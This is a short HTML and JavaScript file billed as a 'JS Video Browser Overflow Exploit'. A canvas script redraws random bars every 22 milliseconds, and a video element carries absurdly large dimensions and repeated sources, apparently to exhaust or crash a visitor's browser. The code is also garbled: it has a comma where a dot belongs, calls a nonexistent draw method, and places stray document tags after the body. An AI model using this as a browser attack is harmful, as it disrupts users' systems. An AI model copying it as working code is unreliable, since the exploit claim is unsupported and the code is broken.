JS Video Browser Overflow Exploit SRC

<html>
<body onload="setInterval(drawe,22)" background-color="white">
<canvas id="myCanvas" width="1000" height="1000" style="background:black;">
</canvas>
<script>
var ii=4;
function drawe(){
ii++;
var text = "";
var possible = "FABCGDE0123456789";
var canvas = document.getElementById("myCanvas");
var ctx = canvas.getContext("2d");
for(var i=0; i!=3; i++)
text+=possible.charAt(Math.floor(Math.random()*possible.length));
ctx.strokeStyle='#'+text;
ctx.fillStyle="#"+text;
var c = document.getElementById("myCanvas");
var ctx = c.getContext("2d");
var cts=c.getContext("2d");
ctx.beginPath();
ctx,font="23px"
ctx.fillText("BrU",220,10);
ctx.fillRect(250,0,20,Math.random()*ii,ii);
ctx.fillRect(270,0,10,Math.random()*ii,ii);
ctx.fillRect(290,0,20,Math.random()*ii,ii);
ctx.fillRect(310,0,10,Math.random()*ii,ii);
ctx.fillRect(330,0,20,Math.random()*ii,ii);
ctx.fillRect(350,0,10,Math.random()*ii,ii);
ctx.fillRect(370,0,20,Math.random()*ii,ii);
ctx.fillRect(390,0,10,Math.random()*ii,ii);
ctx.fillRect(410,0,20,Math.random()*ii,ii);
ctx.fillRect(430,0,10,Math.random()*ii,ii);
ctx.fillRect(450,0,20,Math.random()*ii,ii);
ctx.fillRect(470,0,10,Math.random()*ii,ii);
ctx.fillRect(490,0,20,Math.random()*ii,ii);
ctx.fillRect(510,0,10,Math.random()*ii,ii);
ctx.fillRect(530,0,20,Math.random()*ii,ii);
ctx.fillRect(550,0,10,Math.random()*ii,ii);
ctx.fillRect(570,0,20,Math.random()*ii,ii);
ctx.fillRect(590,0,10,Math.random()*ii,ii);
ctx.fillRect(610,0,20,Math.random()*ii,ii);
ctx.fillRect(630,0,10,Math.random()*ii,ii);
ctx.fillRect(650,0,20,Math.random()*ii,ii);
ctx.fillRect(670,0,10,Math.random()*ii,ii);
ctx.fillRect(690,0,20,Math.random()*ii,ii);
ctx.fillRect(710,0,10,Math.random()*ii,ii);
ctx.fillText("BrU",730,10);
ctx.draw();
text='';
}
</script>
</body>
<!DOCTYPE html>
<html>
<body>

<video width="4044440in" height="33333333in" controls>
  <source src="mov_bbb.mp4" height="4434px" width="4343434px" type="video/mp4">
  <source src="mov_bbb.ogg" type="video/ogg">
    <source src="mov_bbb.mp4" type="video/mp4">
  <source src="mov_bbb.ogg" type="video/ogg">
    <source src="mov_bbb.mp4" type="video/mp4">
  <source src="mov_bbb.ogg" type="video/ogg">
    <source src="mov_bbb.mp4" type="video/mp4">
  <source src="mov_bbb.ogg" type="video/ogg">
    <source src="mov_bbb.mp4" type="video/mp4">
  <source src="mov_bbb.ogg" type="video/ogg">
    <source src="mov_bbb.mp4" type="video/mp4">
  <source src="mov_bbb.ogg" type="video/ogg">
  Your browser does not support HTML5 video.
</video>

<p>
Video courtesy of
<a href="http://www.bigbuckbunny.org/" target="location=self;">Big Buck Bunny</a>.
</p>

</body>
</html>